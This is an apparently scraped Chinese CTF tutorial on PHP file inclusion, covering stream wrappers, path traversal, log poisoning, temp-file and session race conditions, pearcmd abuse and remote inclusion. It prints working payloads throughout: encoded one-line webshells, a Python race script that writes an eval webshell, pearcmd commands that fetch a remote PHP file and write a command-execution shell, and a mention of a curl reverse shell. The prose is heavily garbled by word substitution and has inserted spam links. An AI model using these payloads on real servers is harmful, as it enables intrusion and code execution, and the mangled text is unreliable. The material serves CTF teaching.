拿到题目后,判断题目诈欺的误差方式为读取、写入、照旧实践。在不可赶紧坚信的情况下,就由从低到高淫淫网最新地址,顺次挖掘,即先找文献读取、再找文献写入、再找高唱实践。这一步先坚信出最终要拿到的权限,坚信浸透主义。
第二步判断误差的能够类型,或者题目能够的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步坚信具体的诈欺想路,完了误差诈欺。
第三步寻找敏锐数据,拿到最终flag。
什么是文献包含误差文献包含误差轮廓
和SQL注入等挫折方式一样,文献包含误差亦然一种注入型误差,其本色便是输入一段用户能够顺次的剧本或者代码,并让奇迹端实践。
什么叫包含呢?以PHP为例,咱们频频把可重迭使用的函数写入到单个文献中,在使用该函数时,成功调用此文献,而无需再次编写函数,这一过程叫作念包含。
或然刻由于网站功能需求,会让前端用户选拔要包含的文献,而诱惑东说念主员又莫得对要包含的文献进行安全谈判,就导致挫折者不错通过修改文献的位置来让后台实践自便文献,从而导致文献包含误差。
以PHP为例,常用的文献包含函数有以下四种
include()include():找不到被包含的文献只会产生警告,剧本延续实践
require()require():找不到被包含的文献会产生致命空虚,并住手剧本运行
include_once()include_once()与include()雷同:独一的分别是如果该文献的代码一经被包含,则不会再次包含
require_once()require_once()与require()雷同:独一的分别是如果该文献的代码一经被包含,则不会再次包含
来看一齐浅近题
<?phperror_reporting(0);highlight_file(__FILE__);// flag in /var/www/secretinclude $_GET['file'];?>它给了flag文献位置辅导,成功传参即可
图片
也不错包含系统设置文献
图片
如果包含的是php代码的话,那么就会实践,不会回显
文献包含伪合同1.什么是合同合同呢?便是两边齐能听明白的一个疏导商定语言,比如咱们说的这个普通话,那么它便是一种合同啊,有了它,咱们天南海台北的东说念主齐能说一个统一个语调,那么咱们东北的贵州的话语彼此的才调听得懂,那么在咱们计较机中呢也有许多合同
常见的网罗层有
IP合同、ICMP合同、ARP合同、IGMP合同
应用层
http合同、https合同、ftp合同、ssh合同、gopher合同、qq拉起合同
2.合同的要道合同头://内容(多为二进制
3.php中的合同file://看望腹地文献系统,在不写合同名字的情况下,就默许是file合同它是复旧这个旅途搀杂模式,什么叫作念搀杂模式,咱们知说念在linux下,旅途呢一般分为什么对吧,分为相对旅途和完全旅途,假定咱们使用include包含网站根目次下的flag.php,践诺上是包含/var/www/html/flag.php,它会由相对旅途调遣为完全旅途
http://看望 HTTP(s) 网址,不错取得费力的内容,复返到腹地,也不错用包含函数包含费力文献,不错成功读取费力的php文献在腹地实践,RCE。注意:包含费力文献需在php.ini中将allow_url_include确立为On。
ftp://默许21端口,进行文献传输的合同
php://看望各个输入/输出流(I/O streams),在CTF中频频使用的是php://filter和php://input,php://filter用于读取源码。php://input用于实践php代码
data://数据(RFC 2397)data:// 同样雷同与php://input,不错让用户来顺次输入流,当它与包含函数聚集时,用户输入的data://流会被动作php文献实践。从而导致自便代码实践。
phar:// — PHP 存档
glob:// — 查找匹配的文献旅途模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 贬责交互式的流
zlib:// — 压缩流file://在使用file合同前咱们要先了解些东西
linux的表层目次特点
1.每个目次齐有表层目次
比如说/var/www/html/../../../这样就来到了根目次
2.根目次的表层目次是根目次本人/var/www/html/../../../../../../由于根目次的上司照旧根目次,这样咱们无论加实足多的../就会来到根目次php目次整理特点比如/var/www/html/caigo/../flag.php在win下看望会报错,然而在Linux下它会自动帮咱们整理成/var/www/html/flag.php多的不说上例题<?phperror_reporting(0);highlight_file(__FILE__);//flag in /flag$file = $_GET['file']?$_GET['file']:'nothing.php';include '/var/www/html/'.$file;?>
作念法也很浅近,有辅导flag在根目次下,是以成功多加几个../看望根目次即可,因为linux的表层目次特点,这里加几个齐行,大于3个就行
payload?file=../../../../..//flaghttp://我这有一个浅近的演示代码
<?phpfile_get_contents('https://baidu.com/robots.txt');?>
这样就不错包含费力文献
ftp://默许21端口,进行文献传输的合同
<?phpinclude 'ftp://baidu.com/robots.txt';?>php://看望各个输入/输出流(I/O streams),在CTF中频频使用的是php://filter和php://input,php://filter用于读取源码。php://input用于实践php代码
php://input官方先容:php://input 是个不错看望央求的原始数据的只读流。POST 央求的情况下,最佳使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指示。何况,这样的情况下 $HTTP_RAW_POST_DATA 默许莫得填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。enctype='multipart/form-data' 的时刻 php://input 是无效的。
Note: 在 PHP 5.6 之前 php://input 掀开的数据流只可读取一次;数据流不复旧 seek 操作。不外,依赖于 SAPI 的完了,央求体数据被保存的时刻, 它不错掀开另一个 php://input 数据流并再行读取。平庸情况下,这种情况仅仅针对 POST 央求,而不是其他央求方式,比如 PUT 或者 PROPFIND。
梗概道理便是:php://input会接受由post央求的原始数据,就好比aurl解码后是a,如果是平常提交,网站会自动url解码成a,网曝黑料然而php://input接受的数据是原始数据不会对数据进行操作是以收到的便是a这3个字符,咱们代入代码include php://input;post提交的数据放到include里,假如咱们提交的数据外有php标签那么,它就会把php标签里的数据当初php代码实践,酿成RCE。
例题
<?phperror_reporting(0);highlight_file(__FILE__);//flag in /flaginclude 'php://input';?>
咱们用bp捏包,发送post数据
图片
不错看到被php标签包裹的高唱被实践了
注意:在hackbar插件下这样的post央求因为莫得传参点,hackbar会自动将post里的数据丢弃,因为它合计这样是空虚的,属于好心办赖事
图片
图片
这样才会发送数据
php://filter例题
<?phperror_reporting(0);highlight_file(__FILE__);//flag in /flag$file = $_GET['file'];$content = $_POST['content'];if(preg_match('/\<|\>|\;|\(|\?/i')){ die('content not safe');}file_put_contents($file,$content);?>由于题目对象征进行了过滤导致咱们不可成功传php标签,文献咱们使用filter经典的过滤器base64编码
payload:GET提交?file=php://filter/wirte=convert.base64-decode/resource=2.phpPOST提交content=PD9waHAgYXNzZXJ0KCRfUE9TVFt4XSk7Pz4=
poc评释
wirte:写入
convert.base64-decode:对写进文献里的内容先进行一次base64解码,再写入
resource:指定写入的文献名
content提交的值是经过base64编码后的一句话木马//<?php assert($_POST[x]);?>
文献创建得胜后,成功蚁剑联接即可
图片
接着看底下
例题
<?php error_reporting(0);highlight_file(__FILE__);//flag in /flag$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,'<?php die();?>'.$content);?>这说念题便是咱们常说的绕过示寂代,因为在中间加上了'<?php die();?>',这就会导致会绝交php的实践,不会运行$content的值
这里咱们用另一个过滤器string.rot13
rot13也便是凯撒13,ROT13 编码是把每一个字母在字母表中上前移动 13 个字母得到。数字和非字母字符保持不变。编码息争码齐是由雷同的函数完成的。如果您把一个已编码的字符串作为参数,那么将复返原始字符串。
payload:GET提交/?file=php://filter/write=string.rot13/resource=3.phpPOST提交content=<?cuc nffreg($_CBFG[k]);?>
poc评释
string.rot13是凯撒13编码
content提交的值是经过rot13编码后的一句话木马
这里我遭遇了一个问题,我用hackbar发包的时刻,它创建了文献,然而文献里的内容不合,原来要写的内容是这个<?cuc nffreg($_CBFG[k]);?>,写进去变成了<?cuc qvr();?>这个,不明晰是上头原因,我用burp捏完后再发就不错。
data://data合同,作为一个php的一个伪合同啊,它的作用其实和php:// input有点雷同啊,那么在data合同内部它会以闭幕为导向,本来呢,文献包含它是包含一个文献旅途,然后再去读取这内部的内容。然后data合同呢,异常于两步换作一步走,成功把内容给你,成功包含内容。是这样个道理,data合同,异常于让include调遣为一个能够实践php代码的eval了,是以诈欺data:// 伪合同不错成功达到实践php代码的成果,举例实践phpinfo()函数:
咱们成功看例题
<?php error_reporting(0);highlight_file(__FILE__);include $_GET['file'].'.php';?>poc/?file=data://text/plain,<?php phpinfo();?>
图片
成功就不错实践
data合同唯独适应它的圭臬啊,齐不错合计是data合同,那么浅近的说法便是说。在data中,咱们是不错概略//text/plain的,以致呢,不错对它呢进行一个编码的啊,唯独保留data:,就能实践
图片
这便是一个顶点的一个简写情况啊,大多量情况下可能存在过滤,把柄题目修改
php的文献上传机制又扯到文献上传上去了,这个东西和高唱实践多若干少有点联系,php存在超全局变量,列如$_GET、$_POST、$_SERVER、$_COOKIE、$_SESSION、$_FILES,这是因为php在缱绻的时刻他也不知说念哪些界面用户会上传,哪些用户不上传。是以呢,为了为了便捷期,每次呢齐会启动化这个主全局变量,然后呢,把用户悉数的用户上传信息呢,齐放到这内部去啊。上传至内部去,如果呢上传时不存,用的时刻呢,就找不到了,是以呢php会将上传的文献先临时放到一个临时目次先留着,即使它后端莫得文献上传功能。这便是说的是咱们不错强制上传文献,上传上去以后,它人命周期仅仅在php的运行过程,可能就几毫秒,然而这几毫秒文献是存在的,在linux底下它存放旅途是/tmp/phpxxxxxx,x有三种可能性:大写字母、小写字母、数字。咱们恰是诈欺这个机制呢,在莫得接受这个文献上传参数的情况下呢,强制性的上传一个文献,放到临时文献内部去,然后再匹配到这个临时文献,实践临文献内部的坏心高唱啊,完了了一个费力rce的成果
看例题
<?php error_reporting(0);highlight_file(__FILE__);$cmd=$_GET['cmd'];if(!preg_match('/[a-z]|[0-9]/i',$cmd)){ system($cmd);} ?>不错看到它这了过滤了数字和字母,咱们先在腹地构造一个上传页面
<form action='http://b6ddce33-4e2c-4645-b4f9-0f812a23ba5a.challenges.ctfer.com:8080/' enctype='multipart/form-data' metho='post' > <input name='file' type='file' /> <input type='submit' value='upload' /></form>
咱们再创建一个实践高唱的文献1.txt
ls咱们上传1.txt并捏包,上传
图片
然后用这说念题的cmd参数实践高唱
payload:get传参./???/????????[@-[]post传参ls /
图片
日记文献包含<?php error_reporting(0);highlight_file(__FILE__);include 'file:///var/www/html/'.$_GET['file'];?>不错看到这题可控的是文献后缀,也就没见地使用伪合同,咱们使用hackbar修改ua头
图片
payload:/?file=../../../../../var/log/nginx/access.log
图片
然后包含咱们的日记文献,不错看到phpInfo被实践了,把高唱换成一句话木马,蚁剑联接即可
临时文献包含在前边的php的文献上传机制,咱们提到过,但咱们强制上传一个文献时,php会将它放在一个临时目次,文献旅途是/tmp/phpxxxxxx,很昭彰文献名咱们是不知说念的,文献包含也无法使用咱们前边高唱实践的通配符?,那有莫得见地能得到文献名呢
有,当网站上存在phpinfo时,因为咱们知说念强制上传的文献会存放到$_FILES这个全局变量值,而phpinfo页面会将现时央求凹凸文中悉数变量齐打印出来,这样咱们就能通过phpinfo来取得临时文献名,进而进行包含
但文献包含误差和phpinfo页面平庸是两个页面,表面上咱们需要先发送数据包给phpinfo页面,然后从复返页面中匹配出临时文献名,再将这个文献名发送给文献包含误差页面,进行getshell。在第一个央求闭幕时,临时文献就被删除了,第二个央求天然也就无法进行包含。
这个时刻就需要用到条款竞争,具体经过如下:
发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要隘满垃圾数据
因为phpinfo页面会将所稀有据齐打印出来,1中的垃圾数据会将通盘phpinfo页面撑得异常大
php默许的输出缓冲区大小为4096,不错露出为php每次复返4096个字节给socket联接
是以,咱们成功操作原生socket,每次读取4096个字节。唯独读取到的字符里包含临时文献名,就立即发送第二个数据包
此时,第一个数据包的socket联接践诺上还没闭幕,因为php还在延续每次输出4096个字节,是以临时文献此时还莫得删除
诈欺这个时辰差,第二个数据包,也便是文献包含误差的诈欺,即可得胜包含临时文献,最终getshell
来看例题
<?php error_reporting(0);highlight_file(__FILE__);//phpinfo.phpinclude 'file:///var/www/html/'.$_GET['file'];?>题目辅导了,存在phpinfo,咱们使用剧本跑,注意:这剧本是很久畴前写的,是以是python2的,剧本太长,不放这了。
剧本贯穿:https://blog.csdn.net/qq_45521281/article/details/106498971
可能会跑不出来,看命运
php的session/upload_progress文献包含强制文献上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,不错将上传的文献信息保存在session中,然后在剧本运行过程中,包含后,不错实践内部的php代码一般默许设置session.upload_progress.cleanup = on导致文献上传后,session文献内容立即清空,咱们需要进行条款竞争.如果为off,就不需要诈欺条款竞争.
人与动物<?phperror_reporting(0);highlight_file(__FILE__);include 'file:///var/www/html/'.$_GET['file'];?>
因为需要条款竞争,是以要使用剧本
import requestsimport threadingsession = requests.session()sess='caigo'file_name='/var/www/html/1.php'file_content='<?php eval($_POST[1]);?>'url = 'http://59bdde2b-9b8a-4306-ad63-333d6681eda6.challenges.ctfer.com:8080/'data = { 'PHP_SESSION_UPLOAD_PROGRESS':f'<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>'}file= { 'file':'caigo'}cookies={ 'PHPSESSID':sess}def write(): while True: r = session.post(url=url,data=data,files=file,cookies=cookies)def read(): while True: r = session.post(url=url+'?file=../../../../../../tmp/sess_caigo') if 'success' in r.text: print('shell 地址为:'+url+'/1.php') exit()threads = [threading.Thread(target=write),threading.Thread(target=read)]for t in threads: t.start()他会在网站根目次生成一个1.php,联接密码是1
图片
pear文献包含条款:
有文献包含点
开启了pear彭胀
设置文献中register_argc_argv 确立为On,而默许为Off
例题
<?phperror_reporting(0);$file = $_GET['file'];if(isset($file) && !preg_match('/input|data|phar|log|filter/i',$file)){ include $file;}else{ show_source(__FILE__); if(isset($_GET['info'])){ phpinfo(); }}
咱们诈欺pear彭胀进行文献包含
1、费力文献下载完了费力文献包含poc:/?file=/usr/local/lib/php/pearcmd.php&caigo+install+R+/var/www/html/+http://xxx.xxx.xxx/1.php它辅导下载到这个目次'/tmp/pear/download/1.php',咱们尝试包含它
图片
2、生成设置文献,设置项传入咱们坏心的php代码的花样poc:/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
由于hackbar会尝试编码写入的数据会变成这样'';,是以咱们使用burp修改一下发包
图片
辅导写入得胜,尝试包含/tmp/ctf.php
图片
3、写设置文献方式poc:/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php由于可能会遭遇前边的编码问题,咱们照旧用burp
图片
然后看望网站根目次的1.php
图片
因为咱们写的poc是`象征包起来是的高唱实践,要注意不是eval,咱们成功用curl反弹
图片
除了pearcmd还有peclcmd
费力文献包含咱们前边说过不错费力包含文献
注意,咱们使用费力文献包含时,咱们的vps上的shell文献若是能复返一句话木马的,而不是在网站上被分解的,咱们不错包含1.txt文献,在1.txt里写shell,文献包含它会按php分解的
看例题
<?phperror_reporting(0);highlight_file(__FILE__);$file = $_GET['file'];if(preg_match('/\.|php|data/i',$file)){ die('hacker');}include $file;?>
这说念题它过滤了.象征咱们知说念包含费力文献要有ip(127.0.0.1)或域名(baidu.com)齐是存在.象征的,咱们不错使用ip转数字来绕过
我这里用的是这个网站:http://www.msxindl.com/tools/ip/ip_num.asp
用其他的也行
在咱们的vps上创建一个能看望说念的1文献因为有过滤.无后缀亦然能看望的
图片
示寂砸楼
看到临了,给行家共享一个php伪合同中的示寂砸楼,在ctf比赛中是有可能出现的(天然说概率不大),行家了解了解就行了
状貌贯穿:
GitHub - synacktiv/php_filter_chain_generator淫淫网最新地址
本站仅提供存储奇迹,悉数内容均由用户发布,如发现存害或侵权内容,请点击举报。